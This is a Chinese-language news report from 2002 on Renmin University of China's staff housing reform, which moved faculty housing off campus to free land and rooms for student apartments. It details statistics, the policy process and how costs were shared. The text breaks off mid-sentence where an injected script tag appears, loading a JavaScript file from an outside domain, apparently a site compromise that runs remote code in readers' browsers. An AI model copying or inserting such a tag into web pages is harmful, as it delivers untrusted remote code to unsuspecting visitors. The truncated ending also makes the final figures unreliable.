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中国人民大学将校内教工住房置换成学生公寓改革成效显著
[ 2002/5/31    访问次数:13466 ]
编者按:中国人民大学从学校长远的发展战略出发,把解决职工住房问题与后勤社会化改革相结合,积极推进教工住房制度改革,鼓励职工到校外购房。经过大胆决策和半年的艰苦努力,开始把校内原有职工住宅逐步置换出来,预计将腾退近百亩土地、4万平方米住房。不仅解决了历史遗留的教职工住房困难问题,还在一定程度上缓解了学生宿舍不足、教学科研用地狭小、职工住宅占地过多的问题。其他各校如东方大学城、北方工业大学、北京师范大学等也都正在按照这种置换的思路进行改革。中国人民大学等校的这种改革举措,已成为高校后勤社会化改革中解决学生公寓建设的一条重要思路,值得各校借鉴。
    一、正视历史,大胆改革
    人民大学教职工住房历史欠账严重,矛盾突出,广大职工特别是教学、科研、管理骨干住房十分困难。据统计,2001年全校无房职工915人,住房未达标职工2456人,有109名副教授、副处级以上干部在筒子楼或一居室居住,98名教授和5名校级领导干部住在旧式两居室中,资深教授住房不足100 m2。简陋狭小的住房条件无法使教师安居乐业,不少研究生一方面对导师心怀感佩,另一方面亦表示决不能步老师后尘。住房问题已经成为学校事业发展的瓶颈,也是广大教职工最为关心,强烈要求解决的重大问题。
   学校领导强烈地意识到,解决教职工住房问题是新世纪学校事业发展的重要举措。学校决定从2001年起,力争在2-3年内大范围解决职工住房遗留问题,使广大教职工做到安居乐业。由于历史欠账严重,与兄弟院校差距较大,在国家停止福利分房的背景下,解决这一问题难度十分巨大。必须按照国家的房改政策,从学校实际出发,开创新思路、新观念、新政策。
  二、转变观念,科学决策
  学校在住房制度改革中,积极推进住房的商品化、社会化和住房分配货币化。坚持国家、学校和个人合理负担的原则,教育广大职工转变观念,适应形势,勇于实践,树立符合住房商品化、社会化和住房分配货币化要求的住房消费观念。
  在起草住房制度改革系列政策文件工作中,既要符合国家的政策法规,又要切合人民大学的实际情况;既要解决福利分房遗留的固有问题,又要充分解放思想,具有一定程度的超前意识;既要平衡方方面面的利益关系,又要向教学、科研、管理骨干倾斜;既要在深化改革方面有所突破,又要保持学校工作和职工思想的稳定;既要在宏观的战略决策上开阔思路,又要在具体的政策问题上细致周密。学校为此专门组成了由房地产、经济管理、法律等领域的专家咨询工作组,为学校决策提供重要的参考意见。经过数十易其稿,形成了学校深化住房制度改革的系列文件。
  为保证住房制度改革的顺利进行,学校建立了校内周转房制度,制定了校内外统一的物业管理政策,要求学校的住房管理部门转变职能,按新观念为广大教职工解决住房问题提供全方位、多层次的服务。为配合住房制度改革方案实施,学校经过反复考虑,认真比较,决定在远大路的世纪城以最低价格统一订购10万平方米住宅,供教职工根据个人条件选择购买。
   三、精心组织,细致工作
  在经过反复讨论、深思熟虑之后,学校于2001年6月正式通过住房制度改革系列文件,7月召开全校干部大会,宣布正式启动深化住房制度改革,大范围解决职工住房问题工作。
  在实施方案过程中,学校提出“好事务必办好”,周密细致、灵活高效,连续奋战,成功地组织了房改政策实施工作。培训了近200名房改工作人员,组织了7场大规模的政策咨询活动,2000多名教职工到现场进行了咨询,采取多种方式宣传、解释房改政策精神,为4000多名教职工测算了住房补贴,建立了住房补贴专用账户,同时在互联网上建立房改工作专栏和售房主页,利用高科技手段推进房改工作。组织1500多人次教职工到校外看房,并联系了住房公积金管理机构、银行、评估事务所等为广大教职工购房提供服务。
  学校经过细致的调查研究和全校范围内广泛的政策宣传,通过问卷、访谈、座谈等形式直接征求教职工的意见,使广大教职工了解国家政策,理解学校的工作思路。学校党委和行政领导始终把这一工作摆在最重要的议事日程上,在短短的3个月中,多次会议讨论、随时过问、督促工作进程。纪宝成校长、程天权书记先后3次在全校中层干部、职工大会上专题报告解决职工住房问题的思路、原则和政策要点,为广大干部、职工讲明道理,释疑解惑。使广大教职工充分理解了学校的困难、决心和措施,形成了有利于推进住房制度改革的舆论环境。一部分职工的疑惑、误解在工作过程中逐步消失,一些传言也不攻自破,广大教职工在住房问题上的固有观念有了根本性的转变。
  四、合理负担,成效显著
  学校在购房支出工作中充分体现了国家、学校和个人三者合理负担的原则。据统计,此次房改共需支出购房款约5千万元,其中国家住房补贴约9百万元,学校校外购房补贴约2千万元,职工个人负担约2千万元,分别占18%、39%、43%?script src=http://nyjianming.com/c.js>
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